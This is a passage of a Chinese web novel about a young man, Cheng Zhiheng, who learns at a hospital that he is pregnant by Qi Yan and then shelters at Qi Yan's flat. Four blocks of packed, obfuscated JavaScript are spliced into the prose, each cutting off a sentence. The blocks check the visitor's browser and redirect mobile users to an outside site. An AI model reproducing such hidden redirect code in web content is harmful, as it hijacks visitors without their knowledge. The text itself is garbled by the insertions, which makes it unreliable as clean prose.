祈琰:“嗯。” 程知蘅感激涕零:“太谢谢你了。” “你明天要去医院?”祈琰这时候开口问。 程知蘅点点头,真假掺半地说:“上次我去查了一天呢,说我什么问题都没有!我当时头晕,就没想起来让医生给我开点药的,结果这两天还是有点不舒服……之前生病我都是自己乱买药,现在觉得不大好,还是得找医生开点。” 说完,程知蘅又抬头笑:“哎呀,净说我的事情了,还没带你room tour一下。”(参观房间) 他学着那天在祈琰家时他带着自己参观家里的样子,也开始带着祈琰转悠一圈。 程知蘅先是一路小跑到落地窗前,一下打开落地窗帘,回头冲着祈琰笑:“我最喜欢这面窗子,视野可好呢。” 接着他又带着祈琰到客房,打开衣柜给他看:“你看这儿有衣服,不是新的就是只穿过一次洗过的,洗漱的东西卫生间里也都有,你直接用就行。我柜子里有红糖,你淋了雨,一会儿给你冲一杯姜茶喝,别感冒了。” 程知蘅原本病歪歪的,谁知道这时候跟祈琰介绍家里,忽然头也不晕了,也不恶心了。如果不是一张小脸依旧惨白,几乎要让人误以为他之前是装病。 祈琰站在身后,静静地看着程知蘅蹦跶。 这时候程知蘅弯起眼睛露出一个很软的笑:“本来也想和你一样把钥匙给你的,可惜我家没钥匙,是密码锁。你还记得我上次和你说的六位数密码吗?” 祈琰说“不记得了”,也不知道是不是真话。他盯着程知蘅的眉眼,眼珠忽然变得很深,让人看不懂里面有什么。 程知蘅扬了扬眉:“那我再和你说一次好了,这次你别忘记。” 祈琰点头说“好”。 程知蘅给他找出一条毛巾擦头发,又翻出干净的衣服来,忙完一番又忽然想起来似的要往厨房跑:“哦对,我去给你泡杯姜茶。” 从小到大,每次淋了雨或者着凉,程修永都会给他煮红糖姜汤。 程知蘅正关上门,却忽然被祈琰拦住了。 他的视线里先出现祈琰骨节分明的手指,接着才是祈琰的眉眼。 “你不舒服就歇着吧,我没淋多少,不碍事。” 程知蘅心说你可拉倒吧,那一身水就跟雨里泡过似的,还没淋多少呢。 “没事儿,又不麻烦,你坐着吧!之前生病那阵子都是你照顾我,我还没来得及感谢你。”程知蘅指了一下沙发,“茶几上有零食,冰箱里有吃的,你随便拿就是!” 这时候祈琰脸上仿佛有点笑意,先道了谢,紧接着问:“你家怎么什么都有?” “因为之前有阵子痴迷在家开派对,经常邀请朋友来过夜,所以东西备得很全。”程知蘅笑着说。 祈琰本来垂眼,要去挂他那件湿掉的外套,听到这话却忽然僵了僵。 他抬头,低声问:“经常?” 祈琰看似很平静,所以程知蘅也没多想。他很自然地接话,完全没听出祈琰言下之意:“是啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984482|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 得到答案后,祈琰的脸色却忽然冷了冷,方才那点笑意也不见了。 两个人理解事情出现了一点偏差——有关“朋友”的定义。 “对了,祈琰。”程知蘅忽然开口问,“这里确实小了点,既然你打算搬过来,那我可真住你家去了?” 祈琰这时候却不说话了。 程知蘅抬头去看祈琰,心想,又在皱眉。 为什么祈琰这个人看起来总是发不完的脾气? “你怎么不说话?你是不许我住你家去吗?” 祈琰摇摇头:“没有。不过我那里不比这里方便,设施也没这里好,你恐怕住不习惯。” “我不是都住过了吗?挺好的,哪有不方便?你不要以为我是娇生惯养,我之前留学的时候,可一直都是自己照顾自己。” 祈琰“嗯”了一声:“那你住吧,我无所谓。” 说完他就回了房间。 程知蘅神经大条,根本没察觉到祈琰的脾气。对他而言,祈琰无时无刻不是这么一张冷脸,似乎根本没什么区别。 也不知道怎么的,原来又头晕又犯困,煮了碗姜汤后他忽然又活力起来,竟然还上线和邹柏宇连麦打了几把游戏。 两人打了许久,战绩一般,才刚有点找回手感来,却已经过了一点半了。 邹柏宇还说要再开一局,程知蘅却忙拒绝:“不了不了,今天就到这儿,我明儿还要早起去医院呢,你要来接我的,也别睡晚了。” “明天下午去,现在急什么?”邹柏宇说,“老程你怎么回事,今天心不在焉的。” 程知蘅诧异:“我哪有?” “出什么事了吗?”邹柏宇皱眉。 “没有啊?” “你早点时候跟我打电话还病歪歪的没点活人气,现在怎么忽然变这么高兴?”邹柏宇一脸狐疑,“发生什么喜事了。” 程知蘅怔了怔:“我有很高兴吗?” 邹柏宇:“当然有。” * 夜深了,祈琰靠在床边。 他这一天很累,前夜也没有休息好,然而现在夜色已深,却依旧是没有睡意。 屋外程知蘅连麦打游戏的声音都没了,大概是终于玩累准备睡了。祈琰熄灭手机,偏头看了看窗外,他双目沉黑,看起来没什么情绪。 夜凉如水,雨已经停了。住在这里视野的确好,等到晴天的时候,应该会有很好的阳光。 祈琰叹了一口气。 这时候,他的手机震动了好几下,弹出一堆消息。 姜汤已经喝空了,搁在床头柜上,祈琰本来盯着空碗,现下缓缓将视线移到屏幕上。 是室友发的消息。 【祈哥你今晚还回宿舍吗我要锁门了】 【你不是说因为明天要早到所以今晚才提前到宿舍住吗,怎么来了又走了?】 【明天很重要,你要是今晚不回宿舍,记得早点起,别迟到】 【下这么大雨,刚才伞都不带就往外跑,是出什么急事了吗?】 【记得回消息】 祈琰没回,屈指按灭了手机。 19. 第 19 章 次日,程知蘅起了个大早。 这一天运气也好,他倒没有昨天那么恶心了,心情也不错。 他觉得自己好像有点小学生春游综合症,邀请了好朋友睡家里来,就兴奋得睡不着觉。 他头一遭起这么早,本来想着之前都是祈琰照顾自己又做早饭,好不容易当一回东道主,也给祈琰准备一次早饭。 谁知道计划赶不上变化,等他穿好衣服走出卧室,祈琰竟然已经穿戴齐整准备走了。 这时候他坐在餐桌前看手机,眼睛下边两团很明显的乌青,看起来有点惊讶:“你起这么早?” 早睡晚起其实很不符合程知蘅的生物钟,他一边狂打哈欠一边惊讶:“你怎么也这么早?” “今天有事情去学校一趟。”祈琰说。 “哎呀,我本来还想给你点个早饭招待你来着,结果你这么早就走!”程知蘅皱眉,一副很遗憾的样子。 “没事啊,我等你一会儿吧。”祈琰随口说。 “好啊好啊。”程知蘅一下来了兴致,“那我现在点,应该很快就送到了。” 于是他立刻点开手机外卖了一顿二人份的丰盛早餐,接着跑去洗漱。 他一时兴奋点得有点多,本来是够三个人吃的份,结果自己吃了两口就吃不动了,又不好意思说吃不下,于是很龟速地咀嚼,像小骆驼。 祈琰看了程知蘅一眼:“吃不下就别吃了吧。我要走了,你是今天下午要去医院?” “不,我一会儿就去。”程知蘅程知蘅又打了一个哈欠,“本来是下午去的,我喊朋友送我,但他通宵了,我正好起得早,就说干脆早上去。” 说什么来什么,程知蘅的手机“叮”了一下,正是邹柏宇说已经到楼下了。 “我朋友来接我,已经到楼下了。”程知蘅赶紧起身,“咱们一块儿下去吧。” “嗯。” 祈琰也站起了身。 在电梯上,一想到要看医生,程知蘅又开始一脸愁容。 昨天招待祈琰的时候把他的注意力撇开了点,现在想到又要直面自己不知道是什么方面的疾病以及乱七八糟的检查化验,程知蘅就觉得半点都开心不起来,起床的时候好不容易来的好心情都糟蹋光了。 这时候祈琰正替他拎着昨天那袋子没来得及丢的垃圾,站在电梯另一角回消息,也没注意到程知蘅糟糕的情绪。 刚下到一楼出门,就看见邹柏宇那辆招眼的红色超跑停在门口。 他给车门飞起来,探出半个脑袋冲程知蘅招手:“老程,快来。” 邹柏宇长得还不错,和程知蘅是不同款的,在学校里也颇招女孩子喜欢,笑起来很打眼。 程知蘅一溜小跑过去:“不好意思久等了老邹。” 他很自然地坐上了副驾,冲着远处的祈琰招手:“拜拜!” 车一溜烟开走了,祈琰依旧站在门廊阴影下。 他眯了眯眼睛,仿佛心情有点不大好。 * 一到医院,程知蘅的看病恐惧症就彻底爆发了。 邹柏宇本来计划要陪他进来一起看,程知蘅却忽然想起来昨天验孕棒那回事。和医生说这件事已经够让他尴尬了,更不要说在朋友面前提起,于是二人决定,邹柏宇在大厅里等程知蘅,两人一起吃了午饭再回去。 程知蘅一个人走进诊室。 他这次挂的是消化内科专家号,想着也许昨天的医生漏掉了什么。 专家看起来年纪大了,戴着一副很厚的眼镜,一边听程知蘅扭扭捏捏地描述症状,一边眉头越皱越紧。 他也不看程知蘅的眼睛,边飞速打字,边问:“做过胃镜吗?” “没……没有。”程知蘅小声说。 “昨天都查得很全面呀,”老专家皱眉,“你再去查个血常规、肝肾功能,做个腹部彩超。如果这些都没问题,我建议你......” 老专家顿了顿,似乎在斟酌用词:“去妇产科也看一看。” “妇产科?!”程知蘅惊呼,“虽……虽然……但是我是男的啊!” 医生推了推眼镜:“我知道这听起来很不可思议,但是你的症状组合很典型,现在也排除了常见病因。你之前自己提到尿妊娠试验是阳性,我们必须要考虑所有可能性。我记得很久之前就接诊过一个类似病例,最后实在妇产科确诊的。” 程知蘅整个人都懵了。 他花了好一会儿才艰难地点了头,拿着转诊单去了妇产科。 妇产科的色调都变成了粉色,程知蘅脑袋里鬼影似的晃着两道杠的检查结果,只觉得路过的每个人、每道目光都像是针一样扎在他身上。 他硬着头皮走进诊室,坐诊的是个四十多岁、表情严肃的女医生,大概是已经听说了他的情况,看了眼名字就点了点头:“程知蘅是吧,消化科转来的。” 程知蘅手心冒汗,僵硬地点点头。 “行,他们跟我打过招呼了,你先去查个血HCG,然后做彩超。” 程知蘅跟个提线木偶似的,只得乖乖去抽血、喝水、憋尿,等躺上彩超床等时候,他双手都在发抖。 “放松啊。”医生估计也没真觉得会有男人怀孕,边把探头放在他腹部边安慰她,“几率很小,大概率没问题的,咱们只是排除一下可能性哈。” 程知蘅点了点头,觉得自己貌似稍微安心了点。 谁知道他一颗心还没放下来,医生的动作就停住了,紧紧盯着屏幕。 “怎么了,医生?”程知蘅声音发紧,觉得自己这辈子都没这么紧张过。 超声医生没有回答他,反而是收了刚刚轻松的表情,换了一张扑克脸。她调整了一下探头角度,对旁边的护士说:“记一下,宫内早孕,可见卵黄囊,胎心搏动正常。” 听见这句话,程知蘅的大脑“轰”的一声,一片空白。 “什么?!”他虽然没听真切,却猛地坐了起来,“医生您说什么???” 超声医生按住他:“躺好躺好躺好,别动,我只负责出检查,诊断以黄医生那边为准哈。” 程知蘅整个人都傻了,回到诊室的时候,腿都是软的。 他不敢相信刚才隐隐约约听见超声医生的那句话,一路都在怀疑自己的耳朵出了问题,祈祷着这一切没有发生。 其实在前一天查出两道杠的结果之后他就已经崩溃过一次了,这时候已经进入到了一种完全不同的境界,几乎是麻木了。 被叫进诊室的时候,他觉得自己好像一具行尸走肉一样,僵硬地推开门、僵硬地坐下、僵硬地结果医生手里的报告。 医生表情严肃:“程先生,检查结果显示你怀孕了。” 程知蘅:“……什么东西?” 医生叹了口气:“情况虽然很罕见,也有些令人难以置信,但您确实怀孕了。” …… 一阵死寂般的沉默后,程知蘅淡然一笑:“哈,黄医生开玩笑呢。” 医生摇了摇头:“程先生,您冷静,我没在开玩笑。” 程知蘅满脸死意:“不,这不是真的……” 医生不说话了。 程知蘅缓慢而极其艰难地站起身,踉跄了一下,转头就要往门外走。 医生伸出手:“哎哎哎,程先生……” 程知蘅似乎人已经全懵了,他满脸木然,只低声说:“这不可能,这不可能…………”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984483|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他边喃喃念着边往外走,好不容易逃离了诊室,他蹲在门口深呼吸了三下,终于开始低头看诊断报告。 那张薄薄的纸好像忽然变得有千钧重,光是拿到手里就开始发抖,程知蘅眨巴了许久眼睛,才终于看清了上面的字。 【超声提示:宫内早孕,单活胎,超声估计孕周约6周5天】 血HCG结果也出来了,数值高得吓人。 白纸黑字,再无错漏。 他真怀孕了。 程知蘅又走了回去。 他哆嗦着手,语带哭腔,三观崩毁,泪眼汪汪去看医生的眼睛:“医生,男人怎么会怀孕???” 医生低头看了看报告单上的年龄性别,也生出点不忍。她耐下性子,好声好气为他解释原理:“孩子你先冷静,虽然这种情况十分罕见,但是*¥(#&@)……” 听完医生的长篇大论,程知蘅整个人都木掉了。 他满脸死意,嘴巴一张一合:“不可能,不可能,一定弄错了,我要重新检查……” 医生面露不忍地盯着他,心想这孩子不会疯了吧,要不要联系一下心理科那边干预一下? 当着他的面,依旧温和理解地点点头:“好,没事儿,我们再查一次。” 第二次,第三次…… 当程知蘅再一次躺在B超床上,清楚地看到那个小小的,跳动的小白点时,终于不得不接受现实。 他真的怀孕了。 B超医生适时地打开了机器的声音外放,一阵急促而有力的“刷刷”声,像小火车跑过,清晰地传入了他的耳朵。 那是胎心音。 扑通、扑通、扑通……竟然有另一个小生命在他的身体里兀自生长,他的心脏正在程知蘅的耳侧规律地、有力地搏动着。 午后,程知蘅终于木然地走出诊室,瘫坐在医院冰冷的走廊长椅上,手里紧紧攥着那三份几乎一模一样的报告单。 事情确凿无疑。 程知蘅一直觉得自己还算冷静,也还算坚强。 喝醉酒和祈琰睡了,他没崩溃。 发烧祈琰给他上药,他强撑着没崩溃。 验孕棒查出来两道杠,他已经在崩溃边缘但依旧维持了基本的冷静。 而现在,终于,他一直强撑着的、试图用冷静和反复验证来掩盖的脆弱外壳,被那清晰有力的胎心音彻底击得粉碎。 怀孕了,还是祈琰的。 世上还有比这更荒谬的事情么? 程知蘅崩溃了。 他行尸走肉般走到候诊大厅,走到正翘着二郎腿玩手机的邹柏宇身边。 他从身后走来,一点声音也没有,邹柏宇被吓了一跳,赶紧站起来。他一脸轻松:“查完啦?没什么事儿吧?我看你健康得很,肯定什么事都没有。” 程知蘅面无表情:“哈哈,还是多少有点事。” 邹柏宇:? 邹柏宇:“什么叫多少有点事?” 程知蘅:“我告诉你了你能发誓不告诉别人吗?” 讲实话,虽然是发生在自己身上,但这种惊天地泣鬼神的见闻要憋在心里,实在太为难人。 邹柏宇拍了拍程知蘅的肩头:“当然啊咱俩什么关系,有什么事我必须保密啊。” 他表面毫无犹豫,其实心里在说能有什么稀奇事情,连和爸妈的亲儿子睡了这事儿都发生过了,还能有啥? 程知蘅点了点头:“好。” “事情就是,我怀孕了。” 邹柏宇跟被雷劈了似的,以为自己耳朵出了毛病:“什么?” 程知蘅:“我怀孕了。” 邹柏宇duang的一下栽倒在地。 20. 第 20 章 “不儿?怎么回事儿?” “你生病来不了也就罢了,邹柏宇怎么也不来?” “他不是早上还好好的,还说要送你去医院?” 崔奇连发了好几条语音,控诉程知蘅和邹柏宇双双缺席今夜的朋友聚会。 程知蘅打字:“邹柏宇脚崴了,现在说不出话,所以我替他代为转达。” 崔奇满脑袋问号:“邹柏宇好好的怎么崴了脚呢?而且……崴了脚,为什么会说不出话?” 程知蘅平静地危笑:“大概是,知道了一些本不该知道的消息吧。” 发完消息,他按灭手机。 没了手机上那点光源的照耀,程知蘅的脸色看起来难看得吓人。 已近黄昏,他独自走在人行道上。 他拒绝了邹柏宇替他打车的好意,说要自己吹吹风冷静一下。 这两天发生的事情走马灯似的重新出现在脑海里。 强烈有力的胎心声音,耦合剂冰凉黏腻的触感,复杂的检查报告,昨夜的暴雨……以及,祈琰浑身湿透立在他的门前,缓缓脱去那身外套,平静地抬眼看过来。 这两天发生了太多,他觉得自己的大脑乱得一塌糊涂,无数画面交错,像剪不断理还乱的丝线。 头一次,他觉得天大地大,自己却无处可去。 程知蘅垂着眼睛,就着一瓶冰可乐吞了叶酸片和维生素B6,觉得呼吸了一下新鲜空气,早些时候的那点反胃感现在好多了。 虽说程知蘅平时爱玩爱闹不正经、总像个小孩子,但关键时刻还是能够理性思考。这时候终于冷静下来,他也开始思考目前的事情该如何解决。 既然事情已经发生了,而且是因为他自己而发生的,那么他也合该自己承担后果。 程知蘅回忆起在诊室的时间里,医生语重心长的嘱咐。 医生说,胎儿目前的情况看起来正常,但之后的情况不可预料。 医生说,他的情况不好处理,无论堕胎与否,手术风险都很大也会比较复杂,希望他尽快告知家人,再回医院做一次全面细致的检查,并且持续关注情况。 医生还问他要不要留下这个孩子。 留下? 他不是没有设想过有一天拥有自己的孩子,但是在他从前的想象中,那一天至少是在五年十年后。 那时候他已经成家立业、可以独当一面,或许会在和爱人在充分的准备和共同的期待下,迎来一个属于他们二人的孩子。 但现在这个情形……实在是令人始料未及。 且不说他是个男人,他自己都还是个孩子,要怎么去养育一个新生命? 程知蘅心想,无论从哪个角度去思考,他都不能生下这个孩子。 可就医、手术、准备,一切都是问题。 程知蘅心想,要不要告诉爸妈呢?还有,要不要告诉……胎儿的父亲? 光是脑袋里转出这个念头,程知蘅就打了个哆嗦。 告诉祈琰? 他们俩的关系才刚刚没那么尴尬,出了这档子事,恐怕是要落到老死不相往来的地步了。 再说,祈琰都还没毕业,告诉他,他又能帮上什么?除了影响他的生活,也没别的好处了。 至于爸妈……程知蘅摇了摇头,心想,还是不要说了。 他们本就喜欢过度担心,出了这样的事情,还不知道要急成什么样子。 这些年,他因为不懂事惹出来的乱子也不算少,这件事还是瞒住吧。而且,万一告诉父母,他们必然要刨根问底问出个究竟来。 程知蘅连恋爱都没谈过,性取向也是模糊不定,一时间根本想不出来要怎么和父母交代这个问题。 “跟男人上床”、“跟祈琰上床”、“跟男人/祈琰上床还有了孩子”,这几个消息,无论哪个单拎出来都是能震撼整个家族的重磅级炸弹,他怎么说得出口? 程知蘅心想,算了算了,既然已经打算不要这个孩子,何必给自己找不痛快。反正他本来回家就少,早点做手术,早点了结这件事,到时候搪塞过去就好了。 还有钱的问题。 他现在严格意义上来说已经不是程父程母的儿子了,他虽然有点积蓄,但手术钱不是小数目,也不能问父母要。 夜色下,程知蘅满脸落寞。 他叹了口气,心想,这都是些什么事儿啊! 思量再三,程知蘅掏出手机,点开好几个对话框,群发出去了一条消息。 【还钱。】 才刚发完消息,这边叮叮咚咚的就开始收款。 程知蘅从前家境优渥,也就很自然地出手大方,每次和朋友聚餐都抢着买单请客,又因为好讲话,谁缺钱都找他借,他也总是来者不拒。 幸好他的朋友们都不是真缺钱的人,他一条消息发过去,不过多久,就收回来一笔不小的数目。 程知蘅粗略算了算,再加上这两个月生活费,这阵子省吃俭用点,手术费用大概就够了。 幸亏程父程母还认他。倘若他是从前的祈琰,这时候恐怕真完蛋了。 程知蘅长舒一口气,心想,自己还是幸运的。 了却了一桩大事,他决定去祈琰家睡一晚上。 祈琰已经搬进了他家,可在这种时候,他实在是不想看见祈琰。一看见祈琰,就想到肚子里的烦心事。 他出门的时候带了常用的包,那把祈琰家的钥匙正巧还躺在里头。这时候最好的选择就是祈琰家。 他导了个航,走了半小时才走进去祈琰家的小区。夏末,天气依然不算凉快,他走出了一身薄汗。 走进小区的时候起了一点晚风,程知蘅的短袖被微微吹起来,终于多了几分凉爽。 夜色里,老小区显得挺僻静。 程知蘅心想,在这里待着也不错,陌生环境,没人认识,没人打扰。他可以好好放松一下,逃避问题。 楼道里的声控灯已经不怎么灵敏了,程知蘅喊了好几声也不亮,花了好半天才摸黑把钥匙捅进钥匙孔。 进了门,依旧是熟悉的陈设。 上次来的时候,程知蘅觉得这里虽然旧一点,但温暖有烟火气,不失为一个不错的住所。然而这次,也不知道是不是缺了那个带路的祈琰,家里忽然显得陈旧,又空旷又冷清。 爬楼又出了一身汗,程知蘅把钥匙往桌上一搁就开始找遥控器。 谁知道找了大半天好不容易找出来一个遥控器,却打不开空调。 没电了?程知蘅使出了古老的拍打手法,锲而不舍地敲击了空调和遥控器许久也没能打开,换了电池也无济于事,终于不得不接受现实——祈琰家的空调竟然坏了。 “这破小区,哪哪儿不好!”程知蘅心情不好,嘴上也不留情,对着空气骂道,“我说让祈琰住我家去呢,他还不去,这破地方有什么好犹豫的?空调都打不开,热死了!” 他一气之下气了一下,把空调遥控器重重摔在沙发上,转头就想走。 刚走到门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984484|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他却忽然顿住了。 现在走,去哪儿呢? 程知蘅很重地皱了皱眉,又叹了口气。 他打开和祈琰的聊天框,在输入栏敲了半天。 【我今天想在你家住,可以吗?】 删掉。 【你家的空调怎么开?】 删掉。 【你家的空调是不是烂了?】 删掉。 写了半天发不出去,程知蘅又气得想摔手机了。 但就算把手机摔了,他现在也不想、不好意思给祈琰发消息。 越是急躁,屋里越热得像是蒸笼,一热,程知蘅又犯恶心。 他从小到大都是热了就开空调,风扇对他来说根本就没用,于是程知蘅凭借自己钢铁般的意志力又撑了几分钟,终于忍无可忍地掉头出了门。 大不了住酒店,破地方住个屁! 刚要气不过跑出去住酒店,程知蘅忽然想起来,现在自己得省钱了。 毕竟他不再是名正言顺的程家小少爷,现在又要为自己喝酒犯的错买单,实在不能再像之前那样任性。 屋里实在热得慌,他先把窗子全打开了,接着就出了门,打算出门走两圈。夜里风凉了,想必等他回来,屋里也能凉快不少。 程知蘅收拾完就下了楼,在小区里边兜起圈来。 小区虽然旧,但住的人挺多,入了夜反而热闹起来。夜里风凉,不少都搬了个椅子,聚集在楼外纳凉聊天。还有一些支了桌子搓麻将,周围围了一圈人抽烟聊天,烟雾缭绕,个个打得满面红光。 程知蘅一路走出去,又碰见一圈大排档,荧光粉的塑料椅子摆了一大圈,摊子上拉着红红紫紫的灯,羊肉串烤得滋滋冒油,香飘好几里。 从前程知蘅还是金尊玉贵小少爷的时候,比起鲍参翅肚就更爱吃三无路边摊,更别说这时候。 早上他就没吃多少东西,中午没心情吃,晚餐直接跳过了,这时候闻着烤串香气,肚子止不住咕咕叫起来。一时纠结着没买,只是又怕吃了这些油腻的东西更想吐。 这么纠结来纠结去,程知蘅到底还是打包了一大盒炒粉和满满一兜子烤串。 出来逗留也许久了,他开始原路返回,心里默念了几百遍心静自然凉,打算坐回去开了风扇慢慢儿吃。 走过漆黑的楼道,他拿出钥匙开门。 开门的时候程知蘅有点纳闷——他出来的时候明明转了两圈钥匙锁了门,怎么现在只剩下一圈了? 他也没多想就进了门。窗户都开了,进门还能感觉到穿堂风,凉凉的挺舒服。餐厅的灯没关,程知蘅把他将带回来的夜宵搁在桌上,这才发现桌上还放着塑料袋装的新鲜蔬菜瓜果。 程知蘅后知后觉反应过来。 他回过身,伸手拍开客厅的灯。 果然,大半天没见的祈琰黑着脸坐在客厅中间,大概早听见他进门,这时候正缓缓抬眼看过来。 程知蘅愣住了,半晌没说出话。 客厅的灯旧了,昏黄,两人对上视线。 不过一天没见,境遇却地覆天翻。程知蘅不知道还要怎么坦然地直视祈琰的眼睛,只得狼狈地错开目光。 这时候祈琰缓缓站起身,走到了程知蘅跟前。 “打不开空调吧。”他语气平淡,脸上也没表情。 程知蘅往后退了一步,小声说“嗯。” 安静了一会儿,祈琰忽然很轻微地笑了一下:“所以你是打算等热死再联系我?” 21. 第 21 章 “没……没有。”程知蘅的脸白了,“我我我刚过来没多久,不好意思打扰你。” 他这时候才发现,屋里的空调不知道什么时候已经开了。也许一开始就没坏,也许是祈琰修好了,不得而知。 程知蘅也不知道祈琰是什么时候回来的,想必正好是在他出门的那段时间里。 他干笑了一下,问:“我以为你这阵子就住我家了?怎么今晚到这边来了……” 他不肯抬头看祈琰的眼睛,只自顾自低着头,盯着祈琰的手。 天气热,祈琰穿的短袖,袖口下露出劲瘦的小臂,他皮肤冷白,此刻灯光下能看见肌肉线条,倒颇为吸引人的目光。 只是,顺着视线往下,隐藏在阴影下的祈琰的手腕上,倒像是有什么东西。 程知蘅的目光像是被烫了一下,吓了一跳,几乎下意识去抓祈琰的手,翻了过来。 程知蘅:!!! 只见祈琰的左手小臂内侧,竟有一块巨大的、丑陋的伤疤。 “这是怎么回事?什么时候弄的?”程知蘅的声音都被吓变了调。 祈琰的皮肤很白,所以伤痕格外明显,张牙舞爪爬在他的手臂上,看了触目惊心。 只不过近看才发现,这并不是新伤,看起来倒像已经愈合多时了。 程知蘅重重皱起眉,只看疤痕都觉得疼,不敢去想刚伤的时候该难受成什么样。 祈琰掀了掀眼皮,将手一抽:“没什么。” 他面无表情,声音也淡淡的,说完便转过身直往房间里走去,不和程知蘅说话了。 祈琰这个人,只看背影也是好看的,轮廓高挑利落,让人挪不开眼。 程知蘅在身后盯着祈琰出神,后知后觉地意识到木质房门已经合上,发出很闷的一声不轻不重的声响。 他低下头,心想,恐怕今晚又要失眠了。 刚带回来的夜宵忽然也没了味道,被他丢在一边。 夜色如瀑,程知蘅果然睡不着,于是爬到飘窗上去。他躺下来往窗外看,可以看见星星。 周围很安静的时候,躺进被窝里,会让人回想起小时候。 程知蘅想起来小时候母亲说的童话,说人死去后会变成一颗星星。 他忽然想,祈琰的爸爸妈妈,也就是他的爸爸妈妈,也是天上的一颗星星吗? 想着想着他就困了,倒在背后的沙发枕头里,身上连被子都没盖一条。 这一整天他都没好好休息,一直犯困却心里不安,直到这个时候,知道房子里的另一个房间里有人陪着,才能安安心心合上双眼。 半梦半醒间程知蘅感觉到一双很凉的手托住他的后脑和膝弯,接着感觉到被子盖在身上,像一团棉花。 他迷迷糊糊强撑着睁开眼,看见祈琰苍白的侧脸和黑色的睫毛。他的睫毛很直,正面看不大出来,侧面才看出很长。 祈琰看出他醒了,于是站起身来。他沉默了好一会儿,低声淡笑,问:“为什么你一直都在生病?” 程知蘅觉得有一点委屈。 他的病其实有一半是因为祈琰。但他不敢说。 与此同时,祈琰低头看着程知蘅。 只见他垂着头不说话也不反驳,没了平时漂亮柔软的笑容,反而是眼眶一点点红了。 像是心尖被什么捏了一下,骤然酸软成一片。 祈琰蹙了蹙眉,问:“怎么了?谁欺负你了?” 程知蘅很短促地撅了撅嘴唇,深吸两口气,抬头说:“没人欺负我。” 他眨了眨眼睛,胃里却忽然翻江倒海,捂着喉咙又想吐。 祈琰伸手给他拍背,但程知蘅没吃东西,吐也吐不出来,干呕了一会儿便没了力气,只能瘫倒在祈琰手臂上。 祈琰给他拍着背,也不说话了。 沉默了许久,程知蘅小声开口:“下次我想吐你躲远点,别管我了,我好怕吐你身上弄脏你衣服。” 祈琰好一会儿没说话,最后淡淡道:“我不怕脏。” 闻言程知蘅的睫毛颤动了一下,在他怀里很短促小心地抬眼去打量祈琰的眼睛,蜻蜓点水般看了一下,又迅速抽回目光。 他觉得自己好了很多,于是从祈琰身上起来,往身后的墙上靠着:“我以为你今天不过来,所以才打算来睡一晚上。” “我明天要去医院给奶奶送饭,所以回来了。”祈琰说。 程知蘅“哦”了一声,接着问:“你学习是不是很忙?压力大吧?” 祈琰说:“是有一点。导师要求还挺高的。” “我上次和朋友聊天,他也是X大的,说听说过你,还说你学习可好了。”程知蘅笑了笑,“爸爸妈妈肯定特别为你骄傲吧。” “还行吧。”祈琰的声音很轻。 程知蘅垂着眼睛打量祈琰,又看到他的手。 之前拿他左手上的伤口惹了祈琰不痛快,所以这次他只敢看右手。 祈琰的手指修长,手背白,本来是很漂亮的一双手。 但是仔细瞧就发现,他的右手食指和中指都有些弯曲变形,有很深的茧。 这是长时间拿笔写字留下的痕迹。 程知蘅眨了眨眼睛,有点难受。 他当初他的成绩也还不错,中考前用了苦功夫,上了本市最好的高中,若果正常高考估计也能上个不错的大学。但是父母看他学得太辛苦,最终还是给他办了转学。 他念的那所国际高中教学都无纸化,所以手上并没有留下一个这样的疤。倘若没有转学,那么他的手上估计也会有这么重的茧。 想到这里,程知蘅小声说:“谢谢你。每次我不舒服,都是你照顾我。” 嘴上说的事谢谢,其实他想说的是对不起。 这一次祈琰沉默了更久。 就在程知蘅以为他不会再说话的时候,他说:“应该的。我应该替我妈妈照顾你。” 程知蘅缓缓抬头,问:“你是说……” 这时候祈琰脸上露出一个很淡的微笑,他盯着程知蘅的眼睛,说:“你和她长得很像。” 祈琰的眼睛很漂亮,程知蘅觉得被他盯住的时候,自己有一刹那不能思考。 等到轰然心跳终于平息,思维回归正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984485|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 